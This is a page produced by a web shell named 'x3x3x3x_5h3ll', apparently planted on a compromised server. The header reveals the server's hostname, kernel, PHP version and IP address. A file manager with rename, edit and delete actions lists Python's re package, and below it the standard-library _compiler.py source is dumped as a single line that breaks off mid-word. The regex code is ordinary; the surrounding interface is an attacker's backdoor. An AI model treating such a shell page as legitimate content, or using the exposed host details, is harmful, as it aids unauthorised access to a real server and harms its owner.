x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/opt/alt/python311/lib64/python3.11/re/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2024-06-09 22:18 R D
  __init__.py 15.517 KB -rw-r--r-- 2024-04-02 08:25 R E G D
  _casefix.py 5.318 KB -rw-r--r-- 2024-04-02 08:25 R E G D
  _compiler.py 25.478 KB -rw-r--r-- 2024-04-02 08:25 R E G D
  _constants.py 5.791 KB -rw-r--r-- 2024-04-02 08:25 R E G D
  _parser.py 41.426 KB -rw-r--r-- 2024-04-02 08:25 R E G D
REQUEST EXIT
# # Secret Labs' Regular Expression Engine # # convert template to internal format # # Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved. # # See the __init__.py file for information on usage and redistribution. # """Internal support module for sre""" import _sre from . import _parser from ._constants import * from ._casefix import _EXTRA_CASES assert _sre.MAGIC == MAGIC, "SRE module mismatch" _LITERAL_CODES = {LITERAL, NOT_LITERAL} _SUCCESS_CODES = {SUCCESS, FAILURE} _ASSERT_CODES = {ASSERT, ASSERT_NOT} _UNIT_CODES = _LITERAL_CODES | {ANY, IN} _REPEATING_CODES = { MIN_REPEAT: (REPEAT, MIN_UNTIL, MIN_REPEAT_ONE), MAX_REPEAT: (REPEAT, MAX_UNTIL, REPEAT_ONE), POSSESSIVE_REPEAT: (POSSESSIVE_REPEAT, SUCCESS, POSSESSIVE_REPEAT_ONE), } def _combine_flags(flags, add_flags, del_flags, TYPE_FLAGS=_parser.TYPE_FLAGS): if add_flags & TYPE_FLAGS: flags &= ~TYPE_FLAGS return (flags | add_flags) & ~del_flags def _compile(code, pattern, flags): # internal: compile a (sub)pattern emit = code.append _len = len LITERAL_CODES = _LITERAL_CODES REPEATING_CODES = _REPEATING_CODES SUCCESS_CODES = _SUCCESS_CODES ASSERT_CODES = _ASSERT_CODES iscased = None tolower = None fixes = None if flags & SRE_FLAG_IGNORECASE and not flags & SRE_FLAG_LOCALE: if flags & SRE_FLAG_UNICODE: iscased = _sre.unicode_iscased tolower = _sre.unicode_tolower fixes = _EXTRA_CASES else: iscased = _sre.ascii_iscased tolower = _sre.ascii_tolower for op, av in pattern: if op in LITERAL_CODES: if not flags & SRE_FLAG_IGNORECASE: emit(op) emit(av) elif flags & SRE_FLAG_LOCALE: emit(OP_LOCALE_IGNORE[op]) emit(av) elif not iscased(av): emit(op) emit(av) else: lo = tolower(av) if not fixes: # ascii emit(OP_IGNORE[op]) emit(lo) elif lo not in fixes: emit(OP_UNICODE_IGNORE[op]) emit(lo) else: emit(IN_UNI_IGNORE) skip = _len(code); emit(0) if op is NOT_LITERAL: emit(NEGATE) for k in (lo,) + fixes[lo]: emit(LITERAL) emit(k) emit(FAILURE) code[skip] = _len(code) - skip elif op is IN: charset, hascased = _optimize_charset(av, iscased, tolower, fixes) if flags & SRE_FLAG_IGNORECASE and flags & SRE_FLAG_LOCALE: emit(IN_LOC_IGNORE) elif not hascased: emit(IN) elif not fixes: # ascii emit(IN_IGNORE) else: emit(IN_UNI_IGNORE) skip = _len(code); emit(0) _compile_charset(charset, flags, code) code[skip] = _len(code) - skip elif op is ANY: if flags & SRE_FLAG_DOTALL: emit(ANY_ALL) else: emit(ANY) elif op in REPEATING_CODES: if flags & SRE_FLAG_TEMPLATE: raise error("internal: unsupported template operator %r" % (op,)) if _simple(av[2]): emit(REPEATING_CODES[op][2]) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) emit(SUCCESS) code[skip] = _len(code) - skip else: emit(REPEATING_CODES[op][0]) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) code[skip] = _len(code) - skip emit(REPEATING_CODES[op][1]) elif op is SUBPATTERN: group, add_flags, del_flags, p = av if group: emit(MARK) emit((group-1)*2) # _compile_info(code, p, _combine_flags(flags, add_flags, del_flags)) _compile(code, p, _combine_flags(flags, add_flags, del_flags)) if group: emit(MARK) emit((group-1)*2+1) elif op is ATOMIC_GROUP: # Atomic Groups are handled by starting with an Atomic # Group op code, then putting in the atomic group pattern # and finally a success op code to tell any repeat # operations within the Atomic Group to stop eating and # pop their stack if they reach it emit(ATOMIC_GROUP) skip = _len(code); emit(0) _compile(code, av, flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op in SUCCESS_CODES: emit(op) elif op in ASSERT_CODES: emit(op) skip = _len(code); emit(0) if av[0] >= 0: emit(0) # look ahead else: lo, hi = av[1].getwidth() if lo > MAXCODE: raise error("looks too much behind") if lo != hi: raise error("look-behind requires fixed-width pattern") emit(lo) # look behind _compile(code, av[1], flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op is AT: emit(op) if flags & SRE_FLAG_MULTILINE: av = AT_MULTILINE.get(av, av) if flags & SRE_FLAG_LOCALE: av = AT_LOCALE.get(av, av) elif flags & SRE_FLAG_UNICODE: av = AT_UNICODE.get(av, av) emit(av) elif op is BRANCH: emit(op) tail = [] tailappend = tail.append for av in av[1]: skip = _len(code); emit(0) # _compile_info(code, av, flags) _compile(code, av, flags) emit(JUMP) tailappend(_len(code)); emit(0) code[skip] = _len(code) - skip emit(FAILURE) # end of branch for tail in tail: code[tail] = _len(code) - tail elif op is CATEGORY: emit(op) if flags & SRE_FLAG_LOCALE: av = CH_LOCALE[av] elif flags & SRE_FLAG_UNICODE: av = CH_UNICODE[av] emit(av) elif op is GROUPREF: if not flags & SRE_FLAG_IGNORECASE: emit(op) elif flags & SRE_FLAG_LOCALE: emit(GROUPREF_LOC_IGNORE) elif not fixes: # ascii emit(GROUPREF_IGNORE) else: emit(GROUPREF_UNI_IGNORE) emit(av-1) elif op is GROUPREF_EXISTS: emit(op) emit(av[0]-1) skipyes = _len(code); emit(0) _compile(code, av[1], flags) if av[2]: emit(JUMP) skipno = _len(code); emit(0) code[skipyes] = _len(code) - skipyes + 1 _compile(code, av[2], flags) code[skipno] = _len(code) - skipno else: code[skipyes] = _len(code) - skipyes + 1 else: raise error("internal: unsupported operand type %r" % (op,)) def _compile_charset(charset, flags, code): # compile charset subprogram emit = code.append for op, av in charset: emit(op) if op is NEGATE: pass elif op is LITERAL: emit(av) elif op is RANGE or op is RANGE_UNI_IGNORE: emit(av[0]) emit(av[1]) elif op is CHARSET: code.extend(av) elif op is BIGCHARSET: code.extend(av) elif op is CATEGORY: if flags & SRE_FLAG_LOCALE: emit(CH_LOCALE[av]) elif flags & SRE_FLAG_UNICODE: emit(CH_UNICODE[av]) else: emit(av) else: raise error("internal: unsupported set operator %r" % (op,)) emit(FAILURE) def _optimize_charset(charset, iscased=None, fixup=None, fixes=None): # internal: optimize character set out = [] tail = [] charmap = bytearray(256) hascased = False for op, av in charset: while True: try: if op is LITERAL: if fixup: lo = fixup(av) charmap[lo] = 1 if fixes and lo in fixes: for k in fixes[lo]: charmap[k] = 1 if not hascased and iscased(av): hascased = True else: charmap[av] = 1 elif op is RANGE: r = range(av[0], av[1]+1) if fixup: if fixes: for i in map(fixup, r): charmap[i] = 1 if i in fixes: for k in fixes[i]: charmap[k] = 1 else: for i in map(fixup, r): charmap[i] = 1 if not hascased: hascased = any(map(iscased, r)) else: for i in r: charmap[i] = 1 elif op is NEGATE: out.append((op, av)) else: tail.append((op, av)) except IndexError: if len(charmap) == 256: # character set contains non-UCS1 character codes charmap += b'\0' * 0xff00 continue # Character set contains non-BMP character codes. # For range, all BMP characters in the range are already # proceeded. if fixup: hascased = True # For now, IN_UNI_IGNORE+LITERAL and # IN_UNI_IGNORE+RANGE_UNI_IGNORE work for all non-BMP # characters, because two characters (at least one of # which is not in the BMP) match case-insensitively # if and only if: # 1) c1.lower() == c2.lower() # 2) c1.lower() == c2 or c1.lower().upper() == c2 # Also, both c.lower() and c.lower().upper() are single # characters for every non-BMP character. if op is RANGE: op = RANGE_UNI_IGNORE tail.append((op, av)) break # compress character map runs = [] q = 0 while True: p = charmap.find(1, q) if p < 0: break if len(runs) >= 2: runs = None break q = charmap.find(0, p) if q < 0: runs.append((p, len(charmap))) break runs.append((p, q)) if runs is not None: # use literal/range for p, q in runs: if q - p == 1: out.append((LITERAL, p)) else: out.append((RANGE, (p, q - 1))) out += tail # if the case was changed or new representation is more compact if hascased or len(out) < len(charset): return out, hascased # else original character set is good enough return charset, hascased # use bitmap if len(charmap) == 256: data = _mk_bitmap(charmap) out.append((CHARSET, data)) out += tail return out, hascased # To represent a big charset, first a bitmap of all characters in the # set is constructed. Then, this bitmap is sliced into chunks of 256 # characters, duplicate chunks are eliminated, and each chunk is # given a number. In the compiled expression, the charset is # represented by a 32-bit word sequence, consisting of one word for # the number of different chunks, a sequence of 256 bytes (64 words) # of chunk numbers indexed by their original chunk position, and a # sequence of 256-bit chunks (8 words each). # Compression is normally good: in a typical charset, large ranges of # Unicode will be either completely excluded (e.g. if only cyrillic # letters are to be matched), or completely included (e.g. if large # subranges of Kanji match). These ranges will be represented by # chunks of all one-bits or all zero-bits. # Matching can be also done efficiently: the more significant byte of # the Unicode character is an index into the chunk number, and the # less significant byte is a bit index in the chunk (just like the # CHARSET matching). charmap = bytes(charmap) # should be hashable comps = {} mapping = bytearray(256) block = 0 data = bytearray() for i in range(0, 65536, 256): chunk = charmap[i: i + 256] if chunk in comps: mapping[i // 256] = comps[chunk] else: mapping[i // 256] = comps[chunk] = block block += 1 data += chunk data = _mk_bitmap(data) data[0:0] = [block] + _bytes_to_codes(mapping) out.append((BIGCHARSET, data)) out += tail return out, hascased _CODEBITS = _sre.CODESIZE * 8 MAXCODE = (1 << _CODEBITS) - 1 _BITS_TRANS = b'0' + b'1' * 255 def _mk_bitmap(bits, _CODEBITS=_CODEBITS, _int=int): s = bits.translate(_BITS_TRANS)[::-1] return [_int(s[i - _CODEBITS: i], 2) for i in range(len(s), 0, -_CODEBITS)] def _bytes_to_codes(b): # Convert block indices to word array a = memoryview(b).cast('I') assert a.itemsize == _sre.CODESIZE assert len(a) * a.itemsize == len(b) return a.tolist() def _simple(p): # check if this subpattern is a "simple" operator if len(p) != 1: return False op, av = p[0] if op is SUBPATTERN: return av[0] is None and _simple(av[-1]) return op in _UNIT_CODES def _generate_overlap_table(prefix): """ Generate an overlap table for the following prefix. An overlap table is a table of the same size as the prefix which informs about the potential self-overlap for each index in the prefix: - if overlap[i] == 0, prefix[i:] can't overlap prefix[0:...] - if overlap[i] == k with 0 < k <= i, prefix[i-k+1:i+1] overlaps with prefix[0:k] """ table = [0] * len(prefix) for i in range(1, len(prefix)): idx = table[i - 1] while prefix[i] != prefix[idx]: if idx == 0: table[i] = 0 break idx = table[idx - 1] else: table[i] = idx + 1 return table def _get_iscased(flags): if not flags & SRE_FLAG_IGNORECASE: retur